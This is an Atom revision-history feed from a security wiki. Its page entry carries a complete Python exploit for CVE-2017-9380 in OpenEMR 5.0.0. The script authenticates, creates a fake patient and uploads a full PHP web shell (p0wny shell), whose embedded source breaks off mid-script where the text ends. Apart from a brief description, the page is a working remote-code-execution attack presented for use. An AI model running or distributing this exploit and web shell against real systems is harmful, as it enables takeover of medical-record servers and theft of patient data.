<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-9380_OpenEMR_5.0.0%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2017-9380 OpenEMR 5.0.0遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-9380_OpenEMR_5.0.0%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-9380_OpenEMR_5.0.0%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T06:08:15Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2017-9380_OpenEMR_5.0.0%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4756&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated) # Date 10.06.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-9380_OpenEMR_5.0.0%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4756&amp;oldid=prev"/>
		<updated>2021-06-11T09:40:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated) # Date 10.06.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Date 10.06.2021&lt;br /&gt;
# Exploit Author: Ron Jost (Hacker5preme)&lt;br /&gt;
# Vendor Homepage: https://www.open-emr.org/&lt;br /&gt;
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download&lt;br /&gt;
# Version: 5.0.0&lt;br /&gt;
# Tested on: Windows 10&lt;br /&gt;
# CVE: CVE-2017-9380&lt;br /&gt;
# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Description:&lt;br /&gt;
The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only&lt;br /&gt;
certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the&lt;br /&gt;
filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository&lt;br /&gt;
hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full&lt;br /&gt;
compromise of the web server and its data.&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Import required modules:&lt;br /&gt;
'''&lt;br /&gt;
import argparse&lt;br /&gt;
import requests&lt;br /&gt;
import string&lt;br /&gt;
import random&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
User-Input:&lt;br /&gt;
'''&lt;br /&gt;
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2017-9380')&lt;br /&gt;
my_parser.add_argument('-T', '--IP', type=str)&lt;br /&gt;
my_parser.add_argument('-P', '--PORT', type=str)&lt;br /&gt;
my_parser.add_argument('-U', '--PATH', type=str)&lt;br /&gt;
my_parser.add_argument('-u', '--USERNAME', type=str)&lt;br /&gt;
my_parser.add_argument('-p', '--PASSWORD', type=str)&lt;br /&gt;
args = my_parser.parse_args()&lt;br /&gt;
target_ip = args.IP&lt;br /&gt;
target_port = args.PORT&lt;br /&gt;
openemr_path = args.PATH&lt;br /&gt;
username = args.USERNAME&lt;br /&gt;
password = args.PASSWORD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Exploit:&lt;br /&gt;
'''&lt;br /&gt;
# Authentication preparation:&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&amp;amp;site=default'&lt;br /&gt;
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'&lt;br /&gt;
response = session.get(auth_chek_url)&lt;br /&gt;
&lt;br /&gt;
# Header (auth):&lt;br /&gt;
header = {&lt;br /&gt;
    'Host': target_ip,&lt;br /&gt;
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',&lt;br /&gt;
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',&lt;br /&gt;
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',&lt;br /&gt;
    'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
    'Content-Type': 'application/x-www-form-urlencoded',&lt;br /&gt;
    'Origin': 'http://' + target_ip,&lt;br /&gt;
    'Connection': 'close',&lt;br /&gt;
    'Referer': auth_chek_url,&lt;br /&gt;
    'Upgrade-Insecure-Requests': '1',&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Body (auth):&lt;br /&gt;
body = {&lt;br /&gt;
    'new_login_session_management': '1',&lt;br /&gt;
    'authProvider': 'Default',&lt;br /&gt;
    'authUser': username,&lt;br /&gt;
    'clearPass': password,&lt;br /&gt;
    'languageChoice': '1'&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Authenticate:&lt;br /&gt;
print('')&lt;br /&gt;
print('[+] Authentication')&lt;br /&gt;
auth = session.post(auth_url,headers=header, data=body)&lt;br /&gt;
&lt;br /&gt;
# Create random patient name:&lt;br /&gt;
letters_up = string.ascii_uppercase&lt;br /&gt;
letters_down = string.ascii_lowercase&lt;br /&gt;
first_name = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(10))&lt;br /&gt;
surname = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(7))&lt;br /&gt;
print('')&lt;br /&gt;
print('[+] Creating patient name randomly:')&lt;br /&gt;
print('    [*] First Name: ' + first_name)&lt;br /&gt;
print('    [*] Surname: ' + surname)&lt;br /&gt;
&lt;br /&gt;
# Registration preparation:&lt;br /&gt;
url_reg = 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new_comprehensive_save.php'&lt;br /&gt;
&lt;br /&gt;
# Header (registration):&lt;br /&gt;
header = {&lt;br /&gt;
    'Host': target_ip,&lt;br /&gt;
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',&lt;br /&gt;
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',&lt;br /&gt;
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',&lt;br /&gt;
    'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
    'Content-Type': 'application/x-www-form-urlencoded',&lt;br /&gt;
    'Origin': 'http://' + target_ip,&lt;br /&gt;
    'Connection': 'close',&lt;br /&gt;
    'Referer': 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new.php',&lt;br /&gt;
    'Upgrade-Insecure-Requests': '1'&lt;br /&gt;
}&lt;br /&gt;
body = {&lt;br /&gt;
    'form_cb_1': '1',&lt;br /&gt;
    'form_title': 'Mr.',&lt;br /&gt;
    'form_fname': first_name,&lt;br /&gt;
    'form_mname': '',&lt;br /&gt;
    'form_lname': surname,&lt;br /&gt;
    'form_pubpid': '',&lt;br /&gt;
    'form_DOB': '2021-05-04',&lt;br /&gt;
    'form_sex': 'Male',&lt;br /&gt;
    'form_ss': '',&lt;br /&gt;
    'form_drivers_license': '',&lt;br /&gt;
    'form_status': '',&lt;br /&gt;
    'form_genericname1': '',&lt;br /&gt;
    'form_genericval1': '',&lt;br /&gt;
    'form_genericname2': '',&lt;br /&gt;
    'form_genericval2': '',&lt;br /&gt;
    'form_billing_note': '',&lt;br /&gt;
    'form_street': '',&lt;br /&gt;
    'form_city': '',&lt;br /&gt;
    'form_state': '',&lt;br /&gt;
    'form_postal_code': '',&lt;br /&gt;
    'form_county': '',&lt;br /&gt;
    'form_country_code': '',&lt;br /&gt;
    'form_mothersname': '',&lt;br /&gt;
    'form_contact_relationship': '',&lt;br /&gt;
    'form_phone_contact': '',&lt;br /&gt;
    'form_phone_home': '',&lt;br /&gt;
    'form_phone_biz': '',&lt;br /&gt;
    'form_phone_cell': '',&lt;br /&gt;
    'form_email': '',&lt;br /&gt;
    'form_email_direct': '',&lt;br /&gt;
    'form_providerID': '',&lt;br /&gt;
    'form_ref_providerID': '',&lt;br /&gt;
    'form_pharmacy_id': '0',&lt;br /&gt;
    'form_hipaa_notice': '',&lt;br /&gt;
    'form_hipaa_voice': '',&lt;br /&gt;
    'form_hipaa_message': '',&lt;br /&gt;
    'form_hipaa_mail': '',&lt;br /&gt;
    'form_hipaa_allowsms': '',&lt;br /&gt;
    'form_hipaa_allowemail': '',&lt;br /&gt;
    'form_allow_imm_reg_use': '',&lt;br /&gt;
    'form_allow_imm_info_share': '',&lt;br /&gt;
    'form_allow_health_info_ex': '',&lt;br /&gt;
    'form_allow_patient_portal': '',&lt;br /&gt;
    'form_care_team': '',&lt;br /&gt;
    'form_cmsportal_login': '',&lt;br /&gt;
    'form_imm_reg_status': '',&lt;br /&gt;
    'form_imm_reg_stat_effdate': '',&lt;br /&gt;
    'form_publicity_code': '',&lt;br /&gt;
    'form_publ_code_eff_date': '',&lt;br /&gt;
    'form_protect_indicator': '',&lt;br /&gt;
    'form_prot_indi_effdate': '',&lt;br /&gt;
    'form_industry': '',&lt;br /&gt;
    'form_occupation': '',&lt;br /&gt;
    'form_em_name': '',&lt;br /&gt;
    'form_em_street': '',&lt;br /&gt;
    'form_em_city': '',&lt;br /&gt;
    'form_em_state': '',&lt;br /&gt;
    'form_em_postal_code': '',&lt;br /&gt;
    'form_em_country': '',&lt;br /&gt;
    'form_language': '',&lt;br /&gt;
    'form_ethnicity': '',&lt;br /&gt;
    'form_family_size': '',&lt;br /&gt;
    'form_financial_review': '',&lt;br /&gt;
    'form_monthly_income': '',&lt;br /&gt;
    'form_homeless': '',&lt;br /&gt;
    'form_interpretter': '',&lt;br /&gt;
    'form_migrantseasonal': '',&lt;br /&gt;
    'form_referral_source': '',&lt;br /&gt;
    'form_vfc': '',&lt;br /&gt;
    'form_religion': '',&lt;br /&gt;
    'form_deceased_date': '',&lt;br /&gt;
    'form_deceased_reason': '',&lt;br /&gt;
    'form_guardiansname': '',&lt;br /&gt;
    'form_guardianrelationship': '',&lt;br /&gt;
    'form_guardiansex': '',&lt;br /&gt;
    'form_guardianaddress': '',&lt;br /&gt;
    'form_guardiancity': '',&lt;br /&gt;
    'form_guardianstate': '',&lt;br /&gt;
    'form_guardianpostalcode': '',&lt;br /&gt;
    'form_guardiancountry': '',&lt;br /&gt;
    'form_guardianphone': '',&lt;br /&gt;
    'form_guardianworkphone': '',&lt;br /&gt;
    'form_guardianemail': '',&lt;br /&gt;
    'i1provider': '',&lt;br /&gt;
    'i1plan_name': '',&lt;br /&gt;
    'i1effective_date': '',&lt;br /&gt;
    'i1policy_number': '',&lt;br /&gt;
    'i1group_number': '',&lt;br /&gt;
    'i1subscriber_employer': '',&lt;br /&gt;
    'i1subscriber_employer_street': '',&lt;br /&gt;
    'i1subscriber_employer_city': '',&lt;br /&gt;
    'form_i1subscriber_employer_state': '',&lt;br /&gt;
    'i1subscriber_employer_postal_code': '',&lt;br /&gt;
    'form_i1subscriber_employer_country': '',&lt;br /&gt;
    'i1subscriber_fname': '',&lt;br /&gt;
    'i1subscriber_mname': '',&lt;br /&gt;
    'i1subscriber_lname': '',&lt;br /&gt;
    'form_i1subscriber_relationship': '',&lt;br /&gt;
    'i1subscriber_DOB': '',&lt;br /&gt;
    'i1subscriber_ss': '',&lt;br /&gt;
    'form_i1subscriber_sex': '',&lt;br /&gt;
    'i1subscriber_street': '',&lt;br /&gt;
    'i1subscriber_city': '',&lt;br /&gt;
    'form_i1subscriber_state': '',&lt;br /&gt;
    'i1subscriber_postal_code': '',&lt;br /&gt;
    'form_i1subscriber_country': '',&lt;br /&gt;
    'i1subscriber_phone': '',&lt;br /&gt;
    'i1copay': '',&lt;br /&gt;
    'i1accept_assignment': 'TRUE',&lt;br /&gt;
    'i2provider': '',&lt;br /&gt;
    'i2plan_name': '',&lt;br /&gt;
    'i2effective_date': '',&lt;br /&gt;
    'i2policy_number': '',&lt;br /&gt;
    'i2group_number': '',&lt;br /&gt;
    'i2subscriber_employer': '',&lt;br /&gt;
    'i2subscriber_employer_street': '',&lt;br /&gt;
    'i2subscriber_employer_city': '',&lt;br /&gt;
    'form_i2subscriber_employer_state': '',&lt;br /&gt;
    'i2subscriber_employer_postal_code': '',&lt;br /&gt;
    'form_i2subscriber_employer_country': '',&lt;br /&gt;
    'i2subscriber_fname': '',&lt;br /&gt;
    'i2subscriber_mname': '',&lt;br /&gt;
    'i2subscriber_lname': '',&lt;br /&gt;
    'form_i2subscriber_relationship': '',&lt;br /&gt;
    'i2subscriber_DOB': '',&lt;br /&gt;
    'i2subscriber_ss': '',&lt;br /&gt;
    'form_i2subscriber_sex': '',&lt;br /&gt;
    'i2subscriber_street': '',&lt;br /&gt;
    'i2subscriber_city': '',&lt;br /&gt;
    'form_i2subscriber_state': '',&lt;br /&gt;
    'i2subscriber_postal_code': '',&lt;br /&gt;
    'form_i2subscriber_country': '',&lt;br /&gt;
    'i2subscriber_phone': '',&lt;br /&gt;
    'i2copay': '',&lt;br /&gt;
    'i2accept_assignment': 'TRUE',&lt;br /&gt;
    'i3provider': '',&lt;br /&gt;
    'i3plan_name': '',&lt;br /&gt;
    'i3effective_date': '',&lt;br /&gt;
    'i3policy_number': '',&lt;br /&gt;
    'i3group_number': '',&lt;br /&gt;
    'i3subscriber_employer': '',&lt;br /&gt;
    'i3subscriber_employer_street': '',&lt;br /&gt;
    'i3subscriber_employer_city': '',&lt;br /&gt;
    'form_i3subscriber_employer_state': '',&lt;br /&gt;
    'i3subscriber_employer_postal_code': '',&lt;br /&gt;
    'form_i3subscriber_employer_country': '',&lt;br /&gt;
    'i3subscriber_fname': '',&lt;br /&gt;
    'i3subscriber_mname': '',&lt;br /&gt;
    'i3subscriber_lname': '',&lt;br /&gt;
    'form_i3subscriber_relationship': '',&lt;br /&gt;
    'i3subscriber_DOB': '',&lt;br /&gt;
    'i3subscriber_ss': '',&lt;br /&gt;
    'form_i3subscriber_sex': '',&lt;br /&gt;
    'i3subscriber_street': '',&lt;br /&gt;
    'i3subscriber_city': '',&lt;br /&gt;
    'form_i3subscriber_state': '',&lt;br /&gt;
    'i3subscriber_postal_code': '',&lt;br /&gt;
    'form_i3subscriber_country': '',&lt;br /&gt;
    'i3subscriber_phone': '',&lt;br /&gt;
    'i3copay': '',&lt;br /&gt;
    'i3accept_assignment': 'TRUE'}&lt;br /&gt;
&lt;br /&gt;
print('')&lt;br /&gt;
print('[+] Registering patient:')&lt;br /&gt;
x = session.post(url_reg, headers=header, data=body).text&lt;br /&gt;
&lt;br /&gt;
# Get Patient-ID:&lt;br /&gt;
id = x[(x.find('pid=')+4):x.find('&amp;amp;')]&lt;br /&gt;
print('    [*] ID-NUMBER: ' + id)&lt;br /&gt;
&lt;br /&gt;
# Construct upload URL:&lt;br /&gt;
url_upload = 'http://' + target_ip + ':' + target_port + openemr_path + '/controller.php?document&amp;amp;upload&amp;amp;patient_id=' + id + '&amp;amp;parent_id=1&amp;amp;&amp;quot;'&lt;br /&gt;
&lt;br /&gt;
# Header (upload):&lt;br /&gt;
header = {&lt;br /&gt;
    &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0&amp;quot;,&lt;br /&gt;
    &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;quot;,&lt;br /&gt;
    &amp;quot;Accept-Language&amp;quot;: &amp;quot;de,en-US;q=0.7,en;q=0.3&amp;quot;,&lt;br /&gt;
    &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
    &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------370797319835249590062969815666&amp;quot;,&lt;br /&gt;
    &amp;quot;Origin&amp;quot;: 'http://' + target_ip,&lt;br /&gt;
    &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;,&lt;br /&gt;
    &amp;quot;Referer&amp;quot;: url_upload,&lt;br /&gt;
    &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Body (shell); I'm using p0wny shell: https://github.com/flozz/p0wny-shell&lt;br /&gt;
body = &amp;quot;-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\&amp;quot;MAX_FILE_SIZE\&amp;quot;\r\n\r\n64000000\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\&amp;quot;file[]\&amp;quot;; filename=\&amp;quot;shell.php\&amp;quot;\r\nContent-Type: application/x-php\r\n\r\n&amp;lt;?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\&amp;quot;/^\\s*cd\\s*$/\&amp;quot;, $cmd)) {\n        // pass\n    } elseif (preg_match(\&amp;quot;/^\\s*cd\\s+(.+)\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd)) {\n        chdir($cwd);\n        preg_match(\&amp;quot;/^\\s*cd\\s+([^\\s]+)\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\&amp;quot;/^\\s*download\\s+[^\\s]+\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd)) {\n        chdir($cwd);\n        preg_match(\&amp;quot;/^\\s*download\\s+([^\\s]+)\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \&amp;quot;stdout\&amp;quot; =&amp;gt; $stdout,\n        \&amp;quot;cwd\&amp;quot; =&amp;gt; getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\&amp;quot;cwd\&amp;quot; =&amp;gt; getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \&amp;quot;compgen -c $fileName\&amp;quot;;\n    } else {\n        $cmd = \&amp;quot;compgen -f $fileName\&amp;quot;;\n    }\n    $cmd = \&amp;quot;/bin/bash -c \\\&amp;quot;$cmd\\\&amp;quot;\&amp;quot;;\n    $files = explode(\&amp;quot;\\n\&amp;quot;, shell_exec($cmd));\n    return array(\n        'files' =&amp;gt; $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' =&amp;gt; array('File not found / no read permission.'),\n            'cwd' =&amp;gt; getcwd()\n        );\n    } else {\n        return array(\n            'name' =&amp;gt; basename($filePath),\n            'file' =&amp;gt; base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' =&amp;gt; array('Invalid path / no write permission.'),\n            'cwd' =&amp;gt; getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' =&amp;gt; array('Done.'),\n            'cwd' =&amp;gt; getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\&amp;quot;feature\&amp;quot;])) {\n\n    $response = NULL;\n\n    switch ($_GET[\&amp;quot;feature\&amp;quot;]) {\n        case \&amp;quot;shell\&amp;quot;:\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2&amp;gt;/', $cmd)) {\n                $cmd .= ' 2&amp;gt;&amp;amp;1';\n            }\n            $response = featureShell($cmd, $_POST[\&amp;quot;cwd\&amp;quot;]);\n            break;\n        case \&amp;quot;pwd\&amp;quot;:\n            $response = featurePwd();\n            break;\n        case \&amp;quot;hint\&amp;quot;:\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\&amp;quot;Content-Type: application/json\&amp;quot;);\n    echo json_encode($response);\n    die();\n}\n\n?&amp;gt;&amp;lt;!DOCTYPE html&amp;gt;\n\n&amp;lt;html&amp;gt;\n\n    &amp;lt;head&amp;gt;\n        &amp;lt;meta charset=\&amp;quot;UTF-8\&amp;quot; /&amp;gt;\n        &amp;lt;title&amp;gt;p0wny@shell:~#&amp;lt;/title&amp;gt;\n        &amp;lt;meta name=\&amp;quot;viewport\&amp;quot; content=\&amp;quot;width=device-width, initial-scale=1.0\&amp;quot; /&amp;gt;\n        &amp;lt;style&amp;gt;\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt &amp;gt; span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input &amp;gt; label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        &amp;lt;/style&amp;gt;\n\n        &amp;lt;script&amp;gt;\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \&amp;quot;\\n\\n\&amp;quot;;\n                eShellContent.innerHTML += '&amp;lt;span class=\\\&amp;quot;shell-prompt\\\&amp;quot;&amp;gt;' + genPrompt(CWD) + '&amp;lt;/span&amp;gt; ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \&amp;quot;\\n\&amp;quot;;\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\&amp;quot;?feature=shell\&amp;quot;, {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\&amp;quot;\\n\&amp;quot;));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -&amp;gt; nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length &amp;lt;= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\&amp;quot;\\n\&amp;quot;));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\&amp;quot; \&amp;quot;);\n                var type = (currentCmd.length === 1) ? \&amp;quot;cmd\&amp;quot; : \&amp;quot;file\&amp;quot;;\n                var fileName = (type === \&amp;quot;cmd\&amp;quot;) ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \&amp;quot;?feature=hint\&amp;quot;,\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\&amp;quot;\\n\&amp;quot;));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \&amp;quot;~\&amp;quot;;\n                var shortCwd = cwd;\n                if (cwd.split(\&amp;quot;/\&amp;quot;).length &amp;gt; 3) {\n                    var splittedCwd = cwd.split(\&amp;quot;/\&amp;quot;);\n                    shortCwd = \&amp;quot;\xe2\x80\xa6/\&amp;quot; + splittedCwd[splittedCwd.length-2] + \&amp;quot;/\&amp;quot; + splittedCwd[splittedCwd.length-1];\n                }\n                return \&amp;quot;p0wny@shell:&amp;lt;span title=\\\&amp;quot;\&amp;quot; + cwd + \&amp;quot;\\\&amp;quot;&amp;gt;\&amp;quot; + shortCwd + \&amp;quot;&amp;lt;/span&amp;gt;#\&amp;quot;;\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\&amp;quot;?feature=pwd\&amp;quot;, {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&amp;amp;/g, \&amp;quot;&amp;amp;\&amp;quot;)\n                    .replace(/&amp;lt;/g, \&amp;quot;&amp;lt;\&amp;quot;)\n                    .replace(/&amp;gt;/g, \&amp;quot;&amp;gt;\&amp;quot;);\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\&amp;quot;shell-prompt\&amp;quot;);\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            